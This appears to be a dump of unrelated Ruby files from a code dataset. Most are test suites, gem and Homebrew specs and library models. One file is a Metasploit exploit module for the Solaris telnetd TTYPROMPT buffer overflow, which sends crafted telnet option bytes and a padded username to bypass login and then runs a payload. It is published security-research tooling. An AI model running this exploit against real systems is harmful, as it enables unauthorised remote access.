it 'should redirect to login' do expect(response).to redirect_to new_user_session_path end end describe 'with logged user' do let!(:page) { create(:page) } before(:each) do admin = create(:user, :as_admin) sign_in admin end with_each_theme do |theme, view_path| it "should render template #{view_path}/articles/view_page" do blog.theme = theme blog.save! get :preview_page, params: { id: page.id } expect(response).to render_template('articles/view_page') end end it 'should assigns article define with id' do get :preview_page, params: { id: page.id } expect(assigns[:page]).to eq(page) end end end
34.643533
143
0.649153
335fec3b148e5e28e5058e77645236e7792e220e
676
# -*- encoding: utf-8 -*- Gem::Specification.new do |s| s.name = 'evt-entity_snapshot-postgres' s.version = '2.1.1.0' s.summary = 'Projected entity snapshotting for Postgres' s.description = ' ' s.authors = ['The Eventide Project'] s.email = '[email protected]' s.homepage = 'https://github.com/eventide-project/entity-snapshot-postgres' s.licenses = ['MIT'] s.require_paths = ['lib'] s.files = Dir.glob('{lib}/**/*') s.platform = Gem::Platform::RUBY s.required_ruby_version = '>= 2.3.3' s.add_runtime_dependency 'evt-entity_store' s.add_runtime_dependency 'evt-messaging-postgres' s.add_development_dependency 'test_bench' end
29.391304
77
0.695266
18506c943d9f6fd6e85691524c812b0f2fe0ffc9
151
#http://stackoverflow.com/questions/4110866/ruby-on-rails-where-to-define-global-constants AVAILABLE_TYPES = %w(photo text quote link chat audio video)
75.5
90
0.81457
4aa7208741783b80605a8dbcd8efc911d51f4e29
9,691
module TestCenter::Helper::MultiScanManager describe 'TestBatchWorkerPool' do describe 'serial' do describe '#wait_for_worker' do it 'returns an array of 1 TestBatchWorker' do pool = TestBatchWorkerPool.new(parallel_testrun_count: 1) pool.setup_workers worker = pool.wait_for_worker expect(worker.state).to eq(:ready_to_work) end end end describe 'parallel' do before(:each) do @mocked_simulator_helper = OpenStruct.new allow(@mocked_simulator_helper).to receive(:setup) allow(SimulatorHelper).to receive(:new).and_return(@mocked_simulator_helper) allow(Dir).to receive(:mktmpdir).and_return('/tmp/TestBatchWorkerPool') allow(FileUtils).to receive(:cp_r).with(anything, %r{\./path/to/output/multi_scan-worker-\d-files}) allow(FileUtils).to receive(:rm_rf).with(%r{/tmp/TestBatchWorkerPool}) cloned_simulator_1 = OpenStruct.new(udid: '123') cloned_simulator_2 = OpenStruct.new(udid: '456') cloned_simulator_3 = OpenStruct.new(udid: '789') cloned_simulator_4 = OpenStruct.new(udid: 'A00') allow(cloned_simulator_1).to receive(:delete) allow(cloned_simulator_2).to receive(:delete) allow(cloned_simulator_3).to receive(:delete) allow(cloned_simulator_4).to receive(:delete) @mocked_cloned_simulators = [ [ cloned_simulator_1 ], [ cloned_simulator_2 ], [ cloned_simulator_3 ], [ cloned_simulator_4 ] ] allow(@mocked_simulator_helper).to receive(:clone_destination_simulators).and_return(@mocked_cloned_simulators) end describe '#setup_workers' do it 'creates 4 copies of the simulators in the :destination option for :ios_simulator' do expect(@mocked_simulator_helper).to receive(:clone_destination_simulators).and_return(@mocked_cloned_simulators) TestBatchWorkerPool.new({parallel_testrun_count: 4, platform: :ios_simulator}).setup_workers end it 'creates no simulators for :mac' do expect(@mocked_simulator_helper).not_to receive(:clone_destination_simulators) TestBatchWorkerPool.new({parallel_testrun_count: 4, platform: :mac}).setup_workers end describe '#destination_for_worker' do it 'creates a :destination array with a string for one simulator for :ios_simulator' do pool = TestBatchWorkerPool.new({parallel_testrun_count: 4, platform: :ios_simulator}) pool.setup_workers destination = pool.destination_for_worker(3) expect(destination).to eq(["platform=iOS Simulator,id=A00"]) end it 'creates a :destination array with two strings for two simulators for :ios_simulator' do pool = TestBatchWorkerPool.new({parallel_testrun_count: 4, platform: :ios_simulator}) pool.setup_workers @mocked_cloned_simulators[3] = [ @mocked_cloned_simulators[2].first, @mocked_cloned_simulators[1].first ] destination = pool.destination_for_worker(3) expect(destination).to eq(["platform=iOS Simulator,id=789", "platform=iOS Simulator,id=456"]) end it 'provides the correct :destination for :mac' do pool = TestBatchWorkerPool.new({parallel_testrun_count: 4, platform: :mac, destination: ['platform=macOS']}) destination = pool.destination_for_worker(1) expect(destination).to eq(['platform=macOS']) end end it 'updates the :buildlog_path for each worker' do pool = TestBatchWorkerPool.new(parallel_testrun_count: 4, buildlog_path: './path/to/fake/build/logs') expect(pool).to receive(:buildlog_path_for_worker).exactly(4).times pool.setup_workers end it 'updates the :derived_data_path for each worker' do pool = TestBatchWorkerPool.new( parallel_testrun_count: 4, xctestrun: './path/to/fake/build/products/xctestrun', output_directory: './path/to/output' ) allow(pool).to receive(:derived_data_path_for_worker) do |index| "./path/to/fake/derived_data_path/#{index + 1}" end expected_indices = ['1', '2', '3', '4'] expect(ParallelTestBatchWorker).to receive(:new).exactly(4).times do |options| expect(options[:derived_data_path]).to match(%r{path/to/fake/derived_data_path/#{expected_indices.shift}}) end pool.setup_workers end describe '#clean_up_cloned_simulators' do it 'deletes the simulators that were created when the pool is created' do pool = TestBatchWorkerPool.new(parallel_testrun_count: 4) @mocked_cloned_simulators.flatten.each do |simulator| expect(simulator).to receive(:delete) end pool.clean_up_cloned_simulators(@mocked_cloned_simulators) end end describe '#setup_cloned_simulators' do it 'clones simulators' do pool = TestBatchWorkerPool.new({parallel_testrun_count: 4, platform: :ios_simulator}) expect(@mocked_simulator_helper).to receive(:clone_destination_simulators).and_return(@mocked_cloned_simulators) expect(pool).to receive(:at_exit) do |&block| expect(pool).to receive(:clean_up_cloned_simulators) block.call() end pool.setup_cloned_simulators end it 'cleans up cloned simulators only when exiting from the main process' do pool = TestBatchWorkerPool.new({parallel_testrun_count: 4, platform: :ios_simulator}) expect(@mocked_simulator_helper).to receive(:clone_destination_simulators).and_return(@mocked_cloned_simulators) allow(pool).to receive(:clean_up_cloned_simulators) pids = [1, 99] allow(Process).to receive(:pid) { pids.shift } expect(pool).to receive(:at_exit) do |&block| expect(pool).not_to receive(:clean_up_cloned_simulators) block.call() end pool.setup_cloned_simulators end end describe '#buildlog_path_for_worker' do it 'creates a subdirectory for each worker in the :buildlog_path' do pool = TestBatchWorkerPool.new( { parallel_testrun_count: 4, buildlog_path: './path/to/build/log' } ) expect(pool.buildlog_path_for_worker(1)).to match(%r{path/to/build/log/worker-2-logs}) end end describe '#derived_data_path_for_worker' do it 'creates a temporary derived data path for each worker' do pool = TestBatchWorkerPool.new( { parallel_testrun_count: 4, } ) allow(Dir).to receive(:mktmpdir).and_return("/tmp/derived_data_path/1") expect(pool.derived_data_path_for_worker(1)).to match("/tmp/derived_data_path/1") end end end describe '#wait_for_worker' do it 'returns 4 ParallelTestBatchWorkers if each has not started working' do pool = TestBatchWorkerPool.new(parallel_testrun_count: 4) pool.setup_workers workers = (1..4).map do worker = pool.wait_for_worker worker.state = :working worker end expect(workers.uniq.size).to eq(4) end it 'returns an array of 5 ParallelTestBatchWorker when one was working' do mocked_workers = [ OpenStruct.new(state: :ready_to_work), OpenStruct.new(state: :ready_to_work), OpenStruct.new(state: :ready_to_work), OpenStruct.new(state: :ready_to_work) ] allow(ParallelTestBatchWorker).to receive(:new) { mocked_workers.shift } pids = [99, 1, 2, 3, 4, 5] allow(Process).to receive(:wait) { pids.shift } pool = TestBatchWorkerPool.new(parallel_testrun_count: 4) pool.setup_workers workers = (1..5).map do |index| worker = pool.wait_for_worker worker.state = :working worker.pid = index worker end expect(workers.size).to eq(5) expect(workers.uniq.size).to eq(4) end end describe '#wait_for_all_workers' do it 'waits for all workers and sets their state to :ready_to_work' do mocked_workers = [ OpenStruct.new(state: :working, pid: 1), OpenStruct.new(state: :working, pid: 2), OpenStruct.new(state: :working, pid: 3), OpenStruct.new(state: :working, pid: 4) ] allow(ParallelTestBatchWorker).to receive(:new) { mocked_workers.shift } pool = TestBatchWorkerPool.new( { parallel_testrun_count: 4, } ) pool.setup_workers expect(Process).to receive(:wait).with(1) expect(Process).to receive(:wait).with(2) expect(Process).to receive(:wait).with(3) expect(Process).to receive(:wait).with(4) mocked_workers.each do |w| expect(w).to receive(:process_results) end expect(pool).to receive(:shutdown_cloned_simulators) pool.wait_for_all_workers end end end end end
41.063559
124
0.618512
393c4c64d512e4f71e10e4b67e41c42c1b32ede6
766
# frozen_string_literal: true require "test_helper" class NoteTest < ActiveSupport::TestCase def setup @admin = build(:user, :admin) end def test_valid_note valid_note = { description: "[email protected]", title: "Oliver Smith", user: @admin } note = Note.new(valid_note) assert note.valid? end def test_invalid_note invalid_note = { description: "", title: "", user: @admin } note = Note.new(invalid_note) assert_not note.valid? assert_includes note.errors.full_messages, "Title can't be blank" assert_includes note.errors.full_messages, "Description can't be blank" end end
23.212121
75
0.58094
6a4619674e880dd74bc4327461ef878c909c2895
690
module Xeroizer module Record class ExpenseClaimModel < BaseModel set_permissions :read, :write, :update end class ExpenseClaim < Base set_primary_key :expense_claim_id list_contains_summary_only true guid :expense_claim_id string :status decimal :total decimal :amount_due decimal :amount_paid date :payment_due_date date :reporting_date datetime_utc :updated_date_utc, :api_name => 'UpdatedDateUTC' belongs_to :user has_many :receipts has_many :payments end end end
22.258065
68
0.571014
620d3c69256ff4e05ac64427a485a38abf606d7f
423
# Copyright (c) 2012-present, Facebook, Inc. name 'fb_ntp' maintainer 'Facebook' maintainer_email '[email protected]' source_url 'https://github.com/facebook/chef-cookbooks/' license 'Apache-2.0' description 'Installs/Configures NTP' long_description IO.read(File.join(File.dirname(__FILE__), 'README.md')) version '0.0.1' supports 'centos' supports 'ubuntu' supports 'windows' depends 'fb_systemd' depends 'fb_helpers'
28.2
72
0.780142
e2febe5c321ebfad897b6d765ae70e3e315cfcca
14,505
# Copyright 2015 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. require "helper" describe Google::Cloud::Storage::Bucket, :default_acl, :mock_storage do let(:bucket_name) { "found-bucket" } let(:bucket_hash) { random_bucket_hash name: bucket_name } let(:bucket_json) { bucket_hash.to_json } let(:bucket_gapi) { Google::Apis::StorageV1::Bucket.from_json bucket_json } let(:bucket) { Google::Cloud::Storage::Bucket.from_gapi bucket_gapi, storage.service } it "retrieves the default ACL" do mock = Minitest::Mock.new mock.expect :get_bucket, bucket_gapi, get_bucket_args(bucket_name) mock.expect :list_default_object_access_controls, Google::Apis::StorageV1::ObjectAccessControls.from_json(random_default_acl_hash(bucket_name).to_json), [bucket_name, user_project: nil] storage.service.mocked_service = mock bucket = storage.bucket bucket_name _(bucket.name).must_equal bucket_name _(bucket.default_acl.owners).wont_be :empty? _(bucket.default_acl.readers).wont_be :empty? mock.verify end it "retrieves the default ACL with user_project set to true" do mock = Minitest::Mock.new mock.expect :get_bucket, bucket_gapi, get_bucket_args(bucket_name, user_project: "test") mock.expect :list_default_object_access_controls, Google::Apis::StorageV1::ObjectAccessControls.from_json(random_default_acl_hash(bucket_name).to_json), [bucket_name, user_project: "test"] storage.service.mocked_service = mock bucket = storage.bucket bucket_name, user_project: true _(bucket.name).must_equal bucket_name _(bucket.default_acl.owners).wont_be :empty? _(bucket.default_acl.readers).wont_be :empty? mock.verify end it "adds to the default ACL" do reader_entity = "[email protected]" reader_acl = { "kind" => "storage#bucketAccessControl", "id" => "#{bucket_name}-UUID/#{reader_entity}", "selfLink" => "https://www.googleapis.com/storage/v1/b/#{bucket_name}-UUID/acl/#{reader_entity}", "bucket" => "#{bucket_name}-UUID", "entity" => reader_entity, "email" => "[email protected]", "role" => "READER", "etag" => "CAE=" } mock = Minitest::Mock.new mock.expect :get_bucket, bucket_gapi, get_bucket_args(bucket_name) mock.expect :list_default_object_access_controls, Google::Apis::StorageV1::ObjectAccessControls.from_json(random_default_acl_hash(bucket_name).to_json), [bucket_name, user_project: nil] mock.expect :insert_default_object_access_control, Google::Apis::StorageV1::BucketAccessControl.from_json(reader_acl.to_json), [bucket_name, Google::Apis::StorageV1::BucketAccessControl.new(entity: reader_entity, role: "READER"), user_project: nil] storage.service.mocked_service = mock bucket = storage.bucket bucket_name _(bucket.name).must_equal bucket_name _(bucket.default_acl.owners).wont_be :empty? _(bucket.default_acl.readers).wont_be :empty? bucket.default_acl.add_reader reader_entity _(bucket.default_acl.owners).wont_be :empty? _(bucket.default_acl.readers).wont_be :empty? _(bucket.default_acl.readers).must_include reader_entity mock.verify end it "adds to the default ACL with user_project set to true" do reader_entity = "[email protected]" reader_acl = { "kind" => "storage#bucketAccessControl", "id" => "#{bucket_name}-UUID/#{reader_entity}", "selfLink" => "https://www.googleapis.com/storage/v1/b/#{bucket_name}-UUID/acl/#{reader_entity}", "bucket" => "#{bucket_name}-UUID", "entity" => reader_entity, "email" => "[email protected]", "role" => "READER", "etag" => "CAE=" } mock = Minitest::Mock.new mock.expect :get_bucket, bucket_gapi, get_bucket_args(bucket_name, user_project: "test") mock.expect :list_default_object_access_controls, Google::Apis::StorageV1::ObjectAccessControls.from_json(random_default_acl_hash(bucket_name).to_json), [bucket_name, user_project: "test"] mock.expect :insert_default_object_access_control, Google::Apis::StorageV1::BucketAccessControl.from_json(reader_acl.to_json), [bucket_name, Google::Apis::StorageV1::BucketAccessControl.new(entity: reader_entity, role: "READER"), user_project: "test"] storage.service.mocked_service = mock bucket = storage.bucket bucket_name, user_project: true _(bucket.name).must_equal bucket_name _(bucket.default_acl.owners).wont_be :empty? _(bucket.default_acl.readers).wont_be :empty? bucket.default_acl.add_reader reader_entity _(bucket.default_acl.owners).wont_be :empty? _(bucket.default_acl.readers).wont_be :empty? _(bucket.default_acl.readers).must_include reader_entity mock.verify end it "removes from the default ACL" do existing_reader_entity = "project-viewers-1234567890" mock = Minitest::Mock.new mock.expect :get_bucket, bucket_gapi, get_bucket_args(bucket_name) mock.expect :list_default_object_access_controls, Google::Apis::StorageV1::ObjectAccessControls.from_json(random_default_acl_hash(bucket_name).to_json), [bucket_name, user_project: nil] mock.expect :delete_default_object_access_control, nil, [bucket_name, existing_reader_entity, user_project: nil] storage.service.mocked_service = mock bucket = storage.bucket bucket_name _(bucket.name).must_equal bucket_name _(bucket.default_acl.owners).wont_be :empty? _(bucket.default_acl.readers).wont_be :empty? reader_entity = bucket.default_acl.readers.first bucket.default_acl.delete reader_entity _(bucket.default_acl.owners).wont_be :empty? _(bucket.default_acl.readers).must_be :empty? mock.verify end it "removes from the default ACL with user_project set to true" do existing_reader_entity = "project-viewers-1234567890" mock = Minitest::Mock.new mock.expect :get_bucket, bucket_gapi, get_bucket_args(bucket_name, user_project: "test") mock.expect :list_default_object_access_controls, Google::Apis::StorageV1::ObjectAccessControls.from_json(random_default_acl_hash(bucket_name).to_json), [bucket_name, user_project: "test"] mock.expect :delete_default_object_access_control, nil, [bucket_name, existing_reader_entity, user_project: "test"] storage.service.mocked_service = mock bucket = storage.bucket bucket_name, user_project: true _(bucket.name).must_equal bucket_name _(bucket.default_acl.owners).wont_be :empty? _(bucket.default_acl.readers).wont_be :empty? reader_entity = bucket.default_acl.readers.first bucket.default_acl.delete reader_entity _(bucket.default_acl.owners).wont_be :empty? _(bucket.default_acl.readers).must_be :empty? mock.verify end it "sets the predefined ACL rule authenticatedRead" do predefined_default_acl_update "authenticatedRead" do |acl| acl.authenticatedRead! end end it "sets the predefined ACL rule auth" do predefined_default_acl_update "authenticatedRead" do |acl| acl.auth! end end it "sets the predefined ACL rule auth_read" do predefined_default_acl_update "authenticatedRead" do |acl| acl.auth_read! end end it "sets the predefined ACL rule authenticated" do predefined_default_acl_update "authenticatedRead" do |acl| acl.authenticated! end end it "sets the predefined ACL rule authenticated_read" do predefined_default_acl_update "authenticatedRead" do |acl| acl.authenticated_read! end end it "sets the predefined ACL rule bucketOwnerFullControl" do predefined_default_acl_update "bucketOwnerFullControl" do |acl| acl.bucketOwnerFullControl! end end it "sets the predefined ACL rule owner_full" do predefined_default_acl_update "bucketOwnerFullControl" do |acl| acl.owner_full! end end it "sets the predefined ACL rule bucketOwnerRead" do predefined_default_acl_update "bucketOwnerRead" do |acl| acl.bucketOwnerRead! end end it "sets the predefined ACL rule owner_read" do predefined_default_acl_update "bucketOwnerRead" do |acl| acl.owner_read! end end it "sets the predefined ACL rule private" do predefined_default_acl_update "private" do |acl| acl.private! end end it "sets the predefined ACL rule projectPrivate" do predefined_default_acl_update "projectPrivate" do |acl| acl.projectPrivate! end end it "sets the predefined ACL rule project_private" do predefined_default_acl_update "projectPrivate" do |acl| acl.project_private! end end it "sets the predefined ACL rule publicRead" do predefined_default_acl_update "publicRead" do |acl| acl.publicRead! end end it "sets the predefined ACL rule public" do predefined_default_acl_update "publicRead" do |acl| acl.public! end end it "sets the predefined ACL rule public_read" do predefined_default_acl_update "publicRead" do |acl| acl.public_read! end end it "raises when the predefined ACL rule authenticatedRead returns an error" do predefined_default_acl_update_with_error "authenticatedRead" do |acl| acl.authenticatedRead! end end it "raises when the predefined ACL rule auth returns an error" do predefined_default_acl_update_with_error "authenticatedRead" do |acl| acl.auth! end end it "raises when the predefined ACL rule auth_read returns an error" do predefined_default_acl_update_with_error "authenticatedRead" do |acl| acl.auth_read! end end it "raises when the predefined ACL rule authenticated returns an error" do predefined_default_acl_update_with_error "authenticatedRead" do |acl| acl.authenticated! end end it "raises when the predefined ACL rule authenticated_read returns an error" do predefined_default_acl_update_with_error "authenticatedRead" do |acl| acl.authenticated_read! end end it "raises when the predefined ACL rule bucketOwnerFullControl returns an error" do predefined_default_acl_update_with_error "bucketOwnerFullControl" do |acl| acl.bucketOwnerFullControl! end end it "raises when the predefined ACL rule owner_full returns an error" do predefined_default_acl_update_with_error "bucketOwnerFullControl" do |acl| acl.owner_full! end end it "raises when the predefined ACL rule bucketOwnerRead returns an error" do predefined_default_acl_update_with_error "bucketOwnerRead" do |acl| acl.bucketOwnerRead! end end it "raises when the predefined ACL rule owner_read returns an error" do predefined_default_acl_update_with_error "bucketOwnerRead" do |acl| acl.owner_read! end end it "raises when the predefined ACL rule private returns an error" do predefined_default_acl_update_with_error "private" do |acl| acl.private! end end it "raises when the predefined ACL rule projectPrivate returns an error" do predefined_default_acl_update_with_error "projectPrivate" do |acl| acl.projectPrivate! end end it "raises when the predefined ACL rule project_private returns an error" do predefined_default_acl_update_with_error "projectPrivate" do |acl| acl.project_private! end end it "raises when the predefined ACL rule publicRead returns an error" do predefined_default_acl_update_with_error "publicRead" do |acl| acl.publicRead! end end it "raises when the predefined ACL rule public returns an error" do predefined_default_acl_update_with_error "publicRead" do |acl| acl.public! end end it "raises when the predefined ACL rule public_read returns an error" do predefined_default_acl_update_with_error "publicRead" do |acl| acl.public_read! end end def predefined_default_acl_update acl_role mock = Minitest::Mock.new mock.expect :patch_bucket, Google::Apis::StorageV1::Bucket.from_json(random_bucket_hash(name: bucket.name).to_json), patch_bucket_args(bucket_name, Google::Apis::StorageV1::Bucket.new(default_object_acl: []), predefined_default_object_acl: acl_role) storage.service.mocked_service = mock yield bucket.default_acl mock.verify end def predefined_default_acl_update_with_error acl_role stub = Object.new def stub.patch_bucket *args raise Google::Apis::ClientError.new("already exists", status_code: 409) end storage.service.mocked_service = stub expect { yield bucket.default_acl }.must_raise Google::Cloud::AlreadyExistsError end def random_default_acl_hash bucket_name { "kind" => "storage#objectAccessControls", "items" => [ { "kind" => "storage#objectAccessControl", "entity" => "project-owners-1234567890", "role" => "OWNER", "projectTeam" => { "projectNumber" => "1234567890", "team" => "owners" }, "etag" => "CAE=" }, { "kind" => "storage#objectAccessControl", "entity" => "project-editors-1234567890", "role" => "OWNER", "projectTeam" => { "projectNumber" => "1234567890", "team" => "editors" }, "etag" => "CAE=" }, { "kind" => "storage#objectAccessControl", "entity" => "project-viewers-1234567890", "role" => "READER", "projectTeam" => { "projectNumber" => "1234567890", "team" => "viewers" }, "etag" => "CAE=" } ] } end def acl_error_json { "error" => { "errors" => [ { "domain" => "global", "reason" => "conflict", "message" => "Cannot provide both a predefinedAcl and access controls." } ], "code" => 409, "message" => "Cannot provide both a predefinedAcl and access controls." } }.to_json end end
33.041002
138
0.713823
6234138c1adbd1b6546d484a884c39340f388a5a
9,083
# Copyright 2015 Google Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. require "helper" describe Google::Cloud::Pubsub::Topic, :publish, :mock_pubsub do let(:topic_name) { "topic-name-goes-here" } let(:topic) { Google::Cloud::Pubsub::Topic.from_grpc Google::Pubsub::V1::Topic.decode_json(topic_json(topic_name)), pubsub.service } let(:message1) { "new-message-here" } let(:message2) { "second-new-message" } let(:message3) { "third-new-message" } let(:msg_encoded1) { message1.encode("ASCII-8BIT") } let(:msg_encoded2) { message2.encode("ASCII-8BIT") } let(:msg_encoded3) { message3.encode("ASCII-8BIT") } it "publishes a message" do messages = [ Google::Pubsub::V1::PubsubMessage.new(data: msg_encoded1) ] publish_res = Google::Pubsub::V1::PublishResponse.decode_json({ message_ids: ["msg1"] }.to_json) mock = Minitest::Mock.new mock.expect :publish, publish_res, [topic_path(topic_name), messages, options: default_options] topic.service.mocked_publisher = mock msg = topic.publish message1 mock.verify msg.must_be_kind_of Google::Cloud::Pubsub::Message msg.message_id.must_equal "msg1" end it "publishes a message with multibyte characters" do messages = [ Google::Pubsub::V1::PubsubMessage.new(data: "\xE3\x81\x82".force_encoding("ASCII-8BIT")) ] publish_res = Google::Pubsub::V1::PublishResponse.decode_json({ message_ids: ["msg1"] }.to_json) mock = Minitest::Mock.new mock.expect :publish, publish_res, [topic_path(topic_name), messages, options: default_options] topic.service.mocked_publisher = mock msg = topic.publish "あ" mock.verify msg.must_be_kind_of Google::Cloud::Pubsub::Message msg.data.must_equal "\xE3\x81\x82".force_encoding("ASCII-8BIT") msg.message_id.must_equal "msg1" end it "publishes a message using an IO-ish object" do messages = [ Google::Pubsub::V1::PubsubMessage.new(data: "\xE3\x81\x82".force_encoding("ASCII-8BIT")) ] publish_res = Google::Pubsub::V1::PublishResponse.decode_json({ message_ids: ["msg1"] }.to_json) mock = Minitest::Mock.new mock.expect :publish, publish_res, [topic_path(topic_name), messages, options: default_options] topic.service.mocked_publisher = mock msg = nil Tempfile.open ["message", "txt"] do |tmpfile| tmpfile.binmode tmpfile.write "あ" tmpfile.rewind msg = topic.publish tmpfile end mock.verify msg.must_be_kind_of Google::Cloud::Pubsub::Message msg.data.must_equal "\xE3\x81\x82".force_encoding("ASCII-8BIT") msg.message_id.must_equal "msg1" end it "publishes a message with attributes" do messages = [ Google::Pubsub::V1::PubsubMessage.new(data: msg_encoded1, attributes: {"format" => "text"}) ] publish_res = Google::Pubsub::V1::PublishResponse.decode_json({ message_ids: ["msg1"] }.to_json) mock = Minitest::Mock.new mock.expect :publish, publish_res, [topic_path(topic_name), messages, options: default_options] topic.service.mocked_publisher = mock msg = topic.publish message1, format: :text mock.verify msg.must_be_kind_of Google::Cloud::Pubsub::Message msg.message_id.must_equal "msg1" msg.attributes["format"].must_equal "text" end it "publishes multiple messages with a block" do messages = [ Google::Pubsub::V1::PubsubMessage.new(data: msg_encoded1), Google::Pubsub::V1::PubsubMessage.new(data: msg_encoded2), Google::Pubsub::V1::PubsubMessage.new(data: msg_encoded3, attributes: {"format" => "none"}) ] publish_res = Google::Pubsub::V1::PublishResponse.decode_json({ message_ids: ["msg1", "msg2", "msg3"] }.to_json) mock = Minitest::Mock.new mock.expect :publish, publish_res, [topic_path(topic_name), messages, options: default_options] topic.service.mocked_publisher = mock msgs = topic.publish do |batch| batch.publish message1 batch.publish message2 batch.publish message3, format: :none end mock.verify msgs.count.must_equal 3 msgs.each { |msg| msg.must_be_kind_of Google::Cloud::Pubsub::Message } msgs.first.message_id.must_equal "msg1" msgs.last.message_id.must_equal "msg3" msgs.last.attributes["format"].must_equal "none" end describe "lazy topic that exists" do let(:topic) { Google::Cloud::Pubsub::Topic.new_lazy topic_name, pubsub.service, autocreate: false } it "publishes a message" do messages = [ Google::Pubsub::V1::PubsubMessage.new(data: msg_encoded1) ] publish_res = Google::Pubsub::V1::PublishResponse.decode_json({ message_ids: ["msg1"] }.to_json) mock = Minitest::Mock.new mock.expect :publish, publish_res, [topic_path(topic_name), messages, options: default_options] topic.service.mocked_publisher = mock msg = topic.publish message1 mock.verify msg.must_be_kind_of Google::Cloud::Pubsub::Message msg.message_id.must_equal "msg1" end it "publishes a message with attributes" do messages = [ Google::Pubsub::V1::PubsubMessage.new(data: msg_encoded1, attributes: { "format" => "text" }) ] publish_res = Google::Pubsub::V1::PublishResponse.decode_json({ message_ids: ["msg1"] }.to_json) mock = Minitest::Mock.new mock.expect :publish, publish_res, [topic_path(topic_name), messages, options: default_options] topic.service.mocked_publisher = mock msg = topic.publish message1, format: :text mock.verify msg.must_be_kind_of Google::Cloud::Pubsub::Message msg.message_id.must_equal "msg1" msg.attributes["format"].must_equal "text" end it "publishes multiple messages with a block" do messages = [ Google::Pubsub::V1::PubsubMessage.new(data: msg_encoded1), Google::Pubsub::V1::PubsubMessage.new(data: msg_encoded2), Google::Pubsub::V1::PubsubMessage.new(data: msg_encoded3, attributes: {"format" => "none"}) ] publish_res = Google::Pubsub::V1::PublishResponse.decode_json({ message_ids: ["msg1", "msg2", "msg3"] }.to_json) mock = Minitest::Mock.new mock.expect :publish, publish_res, [topic_path(topic_name), messages, options: default_options] topic.service.mocked_publisher = mock msgs = topic.publish do |batch| batch.publish message1 batch.publish message2 batch.publish message3, format: :none end mock.verify msgs.count.must_equal 3 msgs.each { |msg| msg.must_be_kind_of Google::Cloud::Pubsub::Message } msgs.first.message_id.must_equal "msg1" msgs.last.message_id.must_equal "msg3" msgs.last.attributes["format"].must_equal "none" end end describe "lazy topic that does not exist" do let(:topic) { Google::Cloud::Pubsub::Topic.new_lazy topic_name, pubsub.service, autocreate: false } it "publishes a message" do stub = Object.new def stub.publish *args gax_error = Google::Gax::GaxError.new "not found" gax_error.instance_variable_set :@cause, GRPC::BadStatus.new(5, "not found") raise gax_error end pubsub.service.mocked_publisher = stub expect do topic.publish message1 end.must_raise Google::Cloud::NotFoundError end it "publishes a message with attributes" do stub = Object.new def stub.publish *args gax_error = Google::Gax::GaxError.new "not found" gax_error.instance_variable_set :@cause, GRPC::BadStatus.new(5, "not found") raise gax_error end pubsub.service.mocked_publisher = stub expect do topic.publish message1, format: :text end.must_raise Google::Cloud::NotFoundError end it "publishes multiple messages with a block" do stub = Object.new def stub.publish *args gax_error = Google::Gax::GaxError.new "not found" gax_error.instance_variable_set :@cause, GRPC::BadStatus.new(5, "not found") raise gax_error end pubsub.service.mocked_publisher = stub expect do topic.publish do |batch| batch.publish message1 batch.publish message2 batch.publish message3, format: :none end end.must_raise Google::Cloud::NotFoundError end end end
36.332
118
0.669272
4aba1f147aaaa90b787555956a58f27e1b1a8c83
787
class Mse6AT0210 < Formula desc "HTTP/1.1 server implementing mock responses for testing of edge cases" homepage "https://github.com/simonmittag/mse6" url "https://github.com/simonmittag/mse6/archive/v0.2.10.tar.gz" sha256 "698e117439289145aab0cf8e046fbc93ae8c8259891a9607cd95d6fb7ecfb838" depends_on "go" => :build def install ENV["GOPATH"] = HOMEBREW_CACHE / "go_cache" (buildpath / "src/github.com/simonmittag/mse6").install buildpath.children cd "src/github.com/simonmittag/mse6" do system "go", "install", "github.com/simonmittag/mse6" system "go", "install", "github.com/simonmittag/mse6/cmd/mse6" bin.install HOMEBREW_CACHE / "go_cache/bin/mse6" end end test do assert_match "pass", shell_output("mse6 -t 2>&1") end end
32.791667
78
0.719187
e868a564745f4f677ea0e01a4e28a863b48529e2
2,262
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow', 'Description' => %q{ This module uses a buffer overflow in the Solaris 'login' application to bypass authentication in the telnet daemon. }, 'Author' => [ 'MC', 'cazz' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2001-0797'], [ 'OSVDB', '690'], [ 'BID', '5531'], ], 'Privileged' => false, 'Platform' => %w{ solaris unix }, 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2000, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } }, 'Targets' => [ ['Automatic', { }], ], 'DisclosureDate' => 'Jan 18 2002', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(23), OptString.new('USER', [ true, "The username to use", "bin" ]), ]) end def exploit connect banner = sock.get_once print_status('Setting TTYPROMPT...') req = "\xff\xfc\x18" + "\xff\xfc\x1f" + "\xff\xfc\x21" + "\xff\xfc\x23" + "\xff\xfb\x22" + "\xff\xfc\x24" + "\xff\xfb\x27" + "\xff\xfb\x00" + "\xff\xfa\x27\x00" + "\x00TTYPROMPT" + "\x01" + rand_text_alphanumeric(6) + "\xff\xf0" sock.put(req) select(nil,nil,nil,0.25) print_status('Sending username...') filler = rand_text_alpha(rand(10) + 1) req << datastore['USER'] + (" #{filler}" * 65) sock.put(req + "\n\n\n") select(nil,nil,nil,0.25) sock.get_once sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n") select(nil,nil,nil,0.25) handler end end
23.081633
76
0.490274
282c8c34efeb4931287625f363bb2a0ff9cf429a
19,121
